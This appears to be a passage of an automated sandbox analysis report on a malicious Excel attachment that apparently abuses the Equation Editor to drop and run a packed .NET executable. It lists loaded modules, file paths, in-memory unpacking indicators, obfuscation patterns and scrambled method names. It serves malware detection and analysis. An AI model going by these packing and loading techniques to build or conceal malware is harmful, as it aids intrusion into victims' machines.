Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: ntmarta.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Section loaded: wow64cpu.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\winiti.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: RFQ#51281AOLAI.xls Static file information: File size 1155072 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: amWV.pdb source: winiti.exe, 00000008.00000000.439146431.0000000000302000.00000020.00000001.01000000.00000005.sdmp, winiti[1].exe.6.dr, winiti.exe.6.dr
Source: Binary string: amWV.pdbSHA256 source: winiti.exe, 00000008.00000000.439146431.0000000000302000.00000020.00000001.01000000.00000005.sdmp, winiti[1].exe.6.dr, winiti.exe.6.dr
Source: Binary string: wntdll.pdb source: winiti.exe, winiti.exe, 00000009.00000002.522875994.0000000000940000.00000040.00001000.00020000.00000000.sdmp
Source: 45930000.0.dr Initial sample: OLE indicators vbamacros = False
Source: RFQ#51281AOLAI.xls Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 8.2.winiti.exe.22f505c.3.raw.unpack, VU5FiiciHrPuThVwBQ.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 8.2.winiti.exe.5c0000.1.raw.unpack, VU5FiiciHrPuThVwBQ.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
.NET source code contains potential unpacker
Source: winiti[1].exe.6.dr, Form1.cs .Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: winiti.exe.6.dr, Form1.cs .Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs .Net Code: snOBZDsoZ8 System.Reflection.Assembly.Load(byte[])
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs .Net Code: snOBZDsoZ8 System.Reflection.Assembly.Load(byte[])
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, zDIByBvZeeoTUlBtuI.cs .Net Code: snOBZDsoZ8 System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 6_2_0057CA14 pushad ; retf 0057h 6_2_0057CA15
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401420 push es; retn 00F1h 9_2_004014F8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0041F0DC push es; retf 9_2_0041F0E6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00412104 pushad ; ret 9_2_0041212D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040C1EA push edx; retf 9_2_0040C1EE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00403260 push eax; ret 9_2_00403262
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00426263 push edi; iretd 9_2_0042626E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00408271 push es; ret 9_2_00408272
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00413A0B push esi; retf 9_2_00413A0E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00418A13 push ds; retf 2ECDh 9_2_00418BEE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00418355 push ebp; retf 9_2_004183DC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00418BA5 push ebx; iretd 9_2_00418BA6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0041E653 push ds; iretd 9_2_0041E654
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0041E63B push ebx; iretd 9_2_0041E64C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_004187CA push ebp; ret 9_2_004187CB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0095DFA1 push ecx; ret 9_2_0095DFB4
Source: winiti[1].exe.6.dr Static PE information: section name: .text entropy: 7.760978166314589
Source: winiti.exe.6.dr Static PE information: section name: .text entropy: 7.760978166314589
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs High entropy of concatenated method names: 'YqZG3WZfoU', 'MJWG6UQrm1', 'BlQGrky7yt', 'vkTGQsyJoY', 'pVQGuMnV3v', 'UCvG9Faxpm', 'y2kGI2HM7H', 'zwbGvr4qKP', 'zENGL4O6ne', 'TBGGsmgcN9'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, QpyfwtBfq1mip1rA69.cs High entropy of concatenated method names: 'ufQjINFj00', 'k45jvCTOkf', 'WKjjs1VL5w', 'wXvjR7LcS7', 'aOejfGpO8P', 'xVdjcgMYjm', 'BBNg38HtCFLXAi7NE9', 'DZWfXI6iRaiNNcunyW', 'BnojjVDJux', 'bw0jG5WTZn'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, iIG0lTjpxEHhOQvkFer.cs High entropy of concatenated method names: 'HyJFl8i0dF', 'pY9FoalJ2C', 'YXNFZuvCpK', 'gBBFehNV3G', 'os2FJX2BQF', 'Gt8FMW0mEa', 'LaNFg1rS6B', 'ivAFH0j6Bf', 'Eu1FywVVXp', 'g8yF1h9yd0'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, g3uWXYxFNrFgfAVMbg.cs High entropy of concatenated method names: 'Atr4sn5qik', 'NQG4RKODZr', 'ToString', 'QKX46Y1ZVt', 'uCq4rZKPV7', 'mhX4QeDgMS', 'b794uVdd6H', 'C5V49hb9hr', 'D9h4Ij5Vlm', 'v9a4voyumo'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, SM8r4X8fVbB7QJOWqS.cs High entropy of concatenated method names: 'qKaZAClxf', 'fDZewjihY', 'EX6MEAvLr', 'jJygcp4d8', 'LIVy1JOiD', 'KkP1NXW1P', 's7FjWIgvkZQ8uOxcA5', 'sGKX7cMUQXquQDk8mW', 'vrTWnplwZWPtXk9fHO', 'c2Hwggjt9'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, raIl7X21rhHoQ1rmtr.cs High entropy of concatenated method names: 'WFGw7LwYmy', 'CKZwi91L4Y', 'LOIwt8ZYXo', 'vOjwmA9TeZ', 'qFTwOyngwC', 'D4Dwdlo4jm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, lcS7RE1vxlKWGpOeGp.cs High entropy of concatenated method names: 'fjxuJCUCli', 'dq1ugTkcZZ', 'EJZQtHZv8D', 'u8iQm7fjBo', 'OsiQdgLBYT', 'Vk0Qn4e2ZN', 'g41QbOGAnA', 'crmQ0smGQj', 'TbgQkCV0e7', 'lrBQ5rmLQK'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, xFiqCjOS4mObwnqG7R.cs High entropy of concatenated method names: 'EWef5wVsd5', 'xe6fKbwBF5', 'BugfOnUpLC', 'Tr4fhmj2e8', 'tFUfiw3ttv', 'YkRftnX2kA', 'flRfmMV13s', 'zrxfddUVsX', 'huMfnDADst', 'KeEfbtM9ml'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, Y56XpTEtPmCWtAUcx3.cs High entropy of concatenated method names: 'U8pAH8qC9a', 'WokAyxrwL0', 'pVHA7wDedL', 'Bf0Ai2yNdm', 'nb8AmoaJP1', 'axnAdW0LNQ', 'MnMAbQqBYV', 'y2AA0G89VI', 'bLHA5DVVLb', 'CvaAPVhmyn'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, LQj0kcVZN6Kkvud9DR.cs High entropy of concatenated method names: 'kBFw66mWtE', 'B7GwrZi6Hs', 'RyswQONdkA', 'NpTwuBdRYb', 'Ky4w98ov2t', 'QPJwIcU4LH', 'EXnwvV5Qp0', 'cjTwLFHLEs', 'V4wwsfDKcM', 'LGmwRtLJ7Z'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, bwrRjVyKj1VL5wCXv7.cs High entropy of concatenated method names: 'iY1QeRlEfE', 'm5QQMY9dij', 'a8YQHnI8hN', 'lXYQyoXebK', 'aORQfrLs1B', 'yjtQc8VJGv', 'reLQ4K6HWa', 'pIOQwbduJF', 'ohrQF3L0hf', 'hZcQNBfeDd'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, H5DbcuXYjlGQPm0xJ0.cs High entropy of concatenated method names: 'TIb4VdT1Zs', 'lsn4aIZ8Yc', 'WNcwpPSt2a', 'rnSwjmF1qY', 'g484PPCBwC', 'W9b4KFOl7d', 'RaV4EFNPE6', 'WWT4OYqenO', 'bkb4hoJiVW', 'b1e4qNRTCs'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, IcQdK2rXYfyvqYcyHa.cs High entropy of concatenated method names: 'Dispose', 'RUTj2JsCi3', 'myp8iJBlW1', 'sxyRRK7glw', 'bbQjaj0kcZ', 's6Kjzkvud9', 'ProcessDialogKey', 'wRw8paIl7X', 'Frh8jHoQ1r', 'Itr88wKgcI'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, QoOP4PjGKS5gfhE57SM.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CqRNO2qJae', 'G9FNh3I2Q6', 'uKENqXoB2e', 'tSdNxrJjlJ', 'CacNS6aQwa', 'UqYNX9D6wT', 'EVsNTXaS2Y'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, qKgcIJaPN5xDIttQpD.cs High entropy of concatenated method names: 'PhUFj2dX4W', 'rMPFGPNVBu', 'DieFBnJWiM', 'ohEF6jvGsm', 'j2yFrLss94', 'StLFudw3uP', 'HY8F9s9TbD', 'VwdwTdWKCp', 'AZ5wVEa7Lv', 'VmGw2q4NJb'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, hNFj00Hv45CTOkfqEI.cs High entropy of concatenated method names: 'SfPrO1ssyo', 'NDPrhawp0e', 'y6irq2u9mD', 'bhYrx4PFV0', 'hFSrSDP4cF', 'NAOrXTfqy2', 'BUorTLsn5H', 'zTArVVaxqj', 'hfAr2On37F', 'N7Bra3OAps'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, Q8PlVd7gMYjm0S8vYt.cs High entropy of concatenated method names: 'Bpq93aGmUj', 'wTb9rMKOoC', 'iEc9unbdAm', 'i7l9IxK5H5', 'WE19vTwTjM', 'o9duSioOL5', 'F7BuX3OclH', 'lMkuTfOuXB', 'rbUuVL16tg', 'BLWu25cIwA'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, OOABLIblxanx4dA8KG.cs High entropy of concatenated method names: 'qy6I6v0QNP', 'UJ8IQvx2QP', 'U5VI9jiagd', 'F5i9aeIwTX', 'IXI9z4S0JK', 'wPHIpTNuN4', 'v3RIjSIcOj', 'TbfI8DkhQl', 'TRWIGOfZ1W', 'JxrIBmWZim'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, f3eVc2kPtPvNgZNKDL.cs High entropy of concatenated method names: 'uYjIlyACNl', 'dglIoMtatC', 'JIEIZtIDvN', 'j5SIeI2paI', 'jcvIJofeoR', 'qqqIMkFXex', 'qHYIgkNh8t', 'nYQIHJPpp8', 'UIFIyVd8tV', 'RskI1u4ivF'
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, XC3FVVqBJrFXgahDpX.cs High entropy of concatenated method names: 'ToString', 'Q7hcPUyHH6', 'n2VciTvqHJ', 'DZActfCNLB', 'IrNcm0wRNs', 'LEbcd8cteg', 'YMEcnGOoEo', 'KF4cbxNwLp', 'uxvc0HdMAp', 'UDFckP4YiN'
Source: 8.2.winiti.exe.22f505c.3.raw.unpack, VU5FiiciHrPuThVwBQ.cs High entropy of concatenated method names: 'fgoCtXMiTS', 'RgtTUJcyZL', 'g6aXCYEDSs', 'eQtXXHpHK1', 'kgQXo5WvMo', 'rl7XDVFHmZ', 'WdR9wPuHuepeI', 'q3Of0ljuF', 'dAnWKSXiW', 'NMlgX8j6G'
Source: 8.2.winiti.exe.22f505c.3.raw.unpack, cw37txoRO4X56hm21l.cs High entropy of concatenated method names: 'X1lG3WCB9', 'Qh3mYfMwF', 'zninSfm9E', 'MDb9Ewmta', 'dHqv0oE1o', 'MvWcl4qrS', 'MXJ1VCDef', 'amJ6pCGsS', 'Iynw5Xgff', 'D1JUO7GYj'
Source: 8.2.winiti.exe.5c0000.1.raw.unpack, VU5FiiciHrPuThVwBQ.cs High entropy of concatenated method names: 'fgoCtXMiTS', 'RgtTUJcyZL', 'g6aXCYEDSs', 'eQtXXHpHK1', 'kgQXo5WvMo', 'rl7XDVFHmZ', 'WdR9wPuHuepeI', 'q3Of0ljuF', 'dAnWKSXiW', 'NMlgX8j6G'
Source: 8.2.winiti.exe.5c0000.1.raw.unpack, cw37txoRO4X56hm21l.cs High entropy of concatenated method names: 'X1lG3WCB9', 'Qh3mYfMwF', 'zninSfm9E', 'MDb9Ewmta', 'dHqv0oE1o', 'MvWcl4qrS', 'MXJ1VCDef', 'amJ6pCGsS', 'Iynw5Xgff', 'D1JUO7GYj'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs High entropy of concatenated method names: 'YqZG3WZfoU', 'MJWG6UQrm1', 'BlQGrky7yt', 'vkTGQsyJoY', 'pVQGuMnV3v', 'UCvG9Faxpm', 'y2kGI2HM7H', 'zwbGvr4qKP', 'zENGL4O6ne', 'TBGGsmgcN9'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, QpyfwtBfq1mip1rA69.cs High entropy of concatenated method names: 'ufQjINFj00', 'k45jvCTOkf', 'WKjjs1VL5w', 'wXvjR7LcS7', 'aOejfGpO8P', 'xVdjcgMYjm', 'BBNg38HtCFLXAi7NE9', 'DZWfXI6iRaiNNcunyW', 'BnojjVDJux', 'bw0jG5WTZn'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, iIG0lTjpxEHhOQvkFer.cs High entropy of concatenated method names: 'HyJFl8i0dF', 'pY9FoalJ2C', 'YXNFZuvCpK', 'gBBFehNV3G', 'os2FJX2BQF', 'Gt8FMW0mEa', 'LaNFg1rS6B', 'ivAFH0j6Bf', 'Eu1FywVVXp', 'g8yF1h9yd0'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, g3uWXYxFNrFgfAVMbg.cs High entropy of concatenated method names: 'Atr4sn5qik', 'NQG4RKODZr', 'ToString', 'QKX46Y1ZVt', 'uCq4rZKPV7', 'mhX4QeDgMS', 'b794uVdd6H', 'C5V49hb9hr', 'D9h4Ij5Vlm', 'v9a4voyumo'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, SM8r4X8fVbB7QJOWqS.cs High entropy of concatenated method names: 'qKaZAClxf', 'fDZewjihY', 'EX6MEAvLr', 'jJygcp4d8', 'LIVy1JOiD', 'KkP1NXW1P', 's7FjWIgvkZQ8uOxcA5', 'sGKX7cMUQXquQDk8mW', 'vrTWnplwZWPtXk9fHO', 'c2Hwggjt9'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, raIl7X21rhHoQ1rmtr.cs High entropy of concatenated method names: 'WFGw7LwYmy', 'CKZwi91L4Y', 'LOIwt8ZYXo', 'vOjwmA9TeZ', 'qFTwOyngwC', 'D4Dwdlo4jm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, lcS7RE1vxlKWGpOeGp.cs High entropy of concatenated method names: 'fjxuJCUCli', 'dq1ugTkcZZ', 'EJZQtHZv8D', 'u8iQm7fjBo', 'OsiQdgLBYT', 'Vk0Qn4e2ZN', 'g41QbOGAnA', 'crmQ0smGQj', 'TbgQkCV0e7', 'lrBQ5rmLQK'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, xFiqCjOS4mObwnqG7R.cs High entropy of concatenated method names: 'EWef5wVsd5', 'xe6fKbwBF5', 'BugfOnUpLC', 'Tr4fhmj2e8', 'tFUfiw3ttv', 'YkRftnX2kA', 'flRfmMV13s', 'zrxfddUVsX', 'huMfnDADst', 'KeEfbtM9ml'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, Y56XpTEtPmCWtAUcx3.cs High entropy of concatenated method names: 'U8pAH8qC9a', 'WokAyxrwL0', 'pVHA7wDedL', 'Bf0Ai2yNdm', 'nb8AmoaJP1', 'axnAdW0LNQ', 'MnMAbQqBYV', 'y2AA0G89VI', 'bLHA5DVVLb', 'CvaAPVhmyn'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, LQj0kcVZN6Kkvud9DR.cs High entropy of concatenated method names: 'kBFw66mWtE', 'B7GwrZi6Hs', 'RyswQONdkA', 'NpTwuBdRYb', 'Ky4w98ov2t', 'QPJwIcU4LH', 'EXnwvV5Qp0', 'cjTwLFHLEs', 'V4wwsfDKcM', 'LGmwRtLJ7Z'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, bwrRjVyKj1VL5wCXv7.cs High entropy of concatenated method names: 'iY1QeRlEfE', 'm5QQMY9dij', 'a8YQHnI8hN', 'lXYQyoXebK', 'aORQfrLs1B', 'yjtQc8VJGv', 'reLQ4K6HWa', 'pIOQwbduJF', 'ohrQF3L0hf', 'hZcQNBfeDd'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, H5DbcuXYjlGQPm0xJ0.cs High entropy of concatenated method names: 'TIb4VdT1Zs', 'lsn4aIZ8Yc', 'WNcwpPSt2a', 'rnSwjmF1qY', 'g484PPCBwC', 'W9b4KFOl7d', 'RaV4EFNPE6', 'WWT4OYqenO', 'bkb4hoJiVW', 'b1e4qNRTCs'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, IcQdK2rXYfyvqYcyHa.cs High entropy of concatenated method names: 'Dispose', 'RUTj2JsCi3', 'myp8iJBlW1', 'sxyRRK7glw', 'bbQjaj0kcZ', 's6Kjzkvud9', 'ProcessDialogKey', 'wRw8paIl7X', 'Frh8jHoQ1r', 'Itr88wKgcI'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, QoOP4PjGKS5gfhE57SM.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CqRNO2qJae', 'G9FNh3I2Q6', 'uKENqXoB2e', 'tSdNxrJjlJ', 'CacNS6aQwa', 'UqYNX9D6wT', 'EVsNTXaS2Y'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, qKgcIJaPN5xDIttQpD.cs High entropy of concatenated method names: 'PhUFj2dX4W', 'rMPFGPNVBu', 'DieFBnJWiM', 'ohEF6jvGsm', 'j2yFrLss94', 'StLFudw3uP', 'HY8F9s9TbD', 'VwdwTdWKCp', 'AZ5wVEa7Lv', 'VmGw2q4NJb'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, hNFj00Hv45CTOkfqEI.cs High entropy of concatenated method names: 'SfPrO1ssyo', 'NDPrhawp0e', 'y6irq2u9mD', 'bhYrx4PFV0', 'hFSrSDP4cF', 'NAOrXTfqy2', 'BUorTLsn5H', 'zTArVVaxqj', 'hfAr2On37F', 'N7Bra3OAps'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, Q8PlVd7gMYjm0S8vYt.cs High entropy of concatenated method names: 'Bpq93aGmUj', 'wTb9rMKOoC', 'iEc9unbdAm', 'i7l9IxK5H5', 'WE19vTwTjM', 'o9duSioOL5', 'F7BuX3OclH', 'lMkuTfOuXB', 'rbUuVL16tg', 'BLWu25cIwA'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, OOABLIblxanx4dA8KG.cs High entropy of concatenated method names: 'qy6I6v0QNP', 'UJ8IQvx2QP', 'U5VI9jiagd', 'F5i9aeIwTX', 'IXI9z4S0JK', 'wPHIpTNuN4', 'v3RIjSIcOj', 'TbfI8DkhQl', 'TRWIGOfZ1W', 'JxrIBmWZim'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, f3eVc2kPtPvNgZNKDL.cs High entropy of concatenated method names: 'uYjIlyACNl', 'dglIoMtatC', 'JIEIZtIDvN', 'j5SIeI2paI', 'jcvIJofeoR', 'qqqIMkFXex', 'qHYIgkNh8t', 'nYQIHJPpp8', 'UIFIyVd8tV', 'RskI1u4ivF'
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, XC3FVVqBJrFXgahDpX.cs High entropy of concatenated method names: 'ToString', 'Q7hcPUyHH6', 'n2VciTvqHJ', 'DZActfCNLB', 'IrNcm0wRNs', 'LEbcd8cteg', 'YMEcnGOoEo', 'KF4cbxNwLp', 'uxvc0HdMAp', 'UDFckP4YiN'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, zDIByBvZeeoTUlBtuI.cs High entropy of concatenated method names: 'YqZG3WZfoU', 'MJWG6UQrm1', 'BlQGrky7yt', 'vkTGQsyJoY', 'pVQGuMnV3v', 'UCvG9Faxpm', 'y2kGI2HM7H', 'zwbGvr4qKP', 'zENGL4O6ne', 'TBGGsmgcN9'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, QpyfwtBfq1mip1rA69.cs High entropy of concatenated method names: 'ufQjINFj00', 'k45jvCTOkf', 'WKjjs1VL5w', 'wXvjR7LcS7', 'aOejfGpO8P', 'xVdjcgMYjm', 'BBNg38HtCFLXAi7NE9', 'DZWfXI6iRaiNNcunyW', 'BnojjVDJux', 'bw0jG5WTZn'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, iIG0lTjpxEHhOQvkFer.cs High entropy of concatenated method names: 'HyJFl8i0dF', 'pY9FoalJ2C', 'YXNFZuvCpK', 'gBBFehNV3G', 'os2FJX2BQF', 'Gt8FMW0mEa', 'LaNFg1rS6B', 'ivAFH0j6Bf', 'Eu1FywVVXp', 'g8yF1h9yd0'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, g3uWXYxFNrFgfAVMbg.cs High entropy of concatenated method names: 'Atr4sn5qik', 'NQG4RKODZr', 'ToString', 'QKX46Y1ZVt', 'uCq4rZKPV7', 'mhX4QeDgMS', 'b794uVdd6H', 'C5V49hb9hr', 'D9h4Ij5Vlm', 'v9a4voyumo'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, SM8r4X8fVbB7QJOWqS.cs High entropy of concatenated method names: 'qKaZAClxf', 'fDZewjihY', 'EX6MEAvLr', 'jJygcp4d8', 'LIVy1JOiD', 'KkP1NXW1P', 's7FjWIgvkZQ8uOxcA5', 'sGKX7cMUQXquQDk8mW', 'vrTWnplwZWPtXk9fHO', 'c2Hwggjt9'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, raIl7X21rhHoQ1rmtr.cs High entropy of concatenated method names: 'WFGw7LwYmy', 'CKZwi91L4Y', 'LOIwt8ZYXo', 'vOjwmA9TeZ', 'qFTwOyngwC', 'D4Dwdlo4jm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, lcS7RE1vxlKWGpOeGp.cs High entropy of concatenated method names: 'fjxuJCUCli', 'dq1ugTkcZZ', 'EJZQtHZv8D', 'u8iQm7fjBo', 'OsiQdgLBYT', 'Vk0Qn4e2ZN', 'g41QbOGAnA', 'crmQ0smGQj', 'TbgQkCV0e7', 'lrBQ5rmLQK'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, xFiqCjOS4mObwnqG7R.cs High entropy of concatenated method names: 'EWef5wVsd5', 'xe6fKbwBF5', 'BugfOnUpLC', 'Tr4fhmj2e8', 'tFUfiw3ttv', 'YkRftnX2kA', 'flRfmMV13s', 'zrxfddUVsX', 'huMfnDADst', 'KeEfbtM9ml'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, Y56XpTEtPmCWtAUcx3.cs High entropy of concatenated method names: 'U8pAH8qC9a', 'WokAyxrwL0', 'pVHA7wDedL', 'Bf0Ai2yNdm', 'nb8AmoaJP1', 'axnAdW0LNQ', 'MnMAbQqBYV', 'y2AA0G89VI', 'bLHA5DVVLb', 'CvaAPVhmyn'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, LQj0kcVZN6Kkvud9DR.cs High entropy of concatenated method names: 'kBFw66mWtE', 'B7GwrZi6Hs', 'RyswQONdkA', 'NpTwuBdRYb', 'Ky4w98ov2t', 'QPJwIcU4LH', 'EXnwvV5Qp0', 'cjTwLFHLEs', 'V4wwsfDKcM', 'LGmwRtLJ7Z'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, bwrRjVyKj1VL5wCXv7.cs High entropy of concatenated method names: 'iY1QeRlEfE', 'm5QQMY9dij', 'a8YQHnI8hN', 'lXYQyoXebK', 'aORQfrLs1B', 'yjtQc8VJGv', 'reLQ4K6HWa', 'pIOQwbduJF', 'ohrQF3L0hf', 'hZcQNBfeDd'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, H5DbcuXYjlGQPm0xJ0.cs High entropy of concatenated method names: 'TIb4VdT1Zs', 'lsn4aIZ8Yc', 'WNcwpPSt2a', 'rnSwjmF1qY', 'g484PPCBwC', 'W9b4KFOl7d', 'RaV4EFNPE6', 'WWT4OYqenO', 'bkb4hoJiVW', 'b1e4qNRTCs'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, IcQdK2rXYfyvqYcyHa.cs High entropy of concatenated method names: 'Dispose', 'RUTj2JsCi3', 'myp8iJBlW1', 'sxyRRK7glw', 'bbQjaj0kcZ', 's6Kjzkvud9', 'ProcessDialogKey', 'wRw8paIl7X', 'Frh8jHoQ1r', 'Itr88wKgcI'
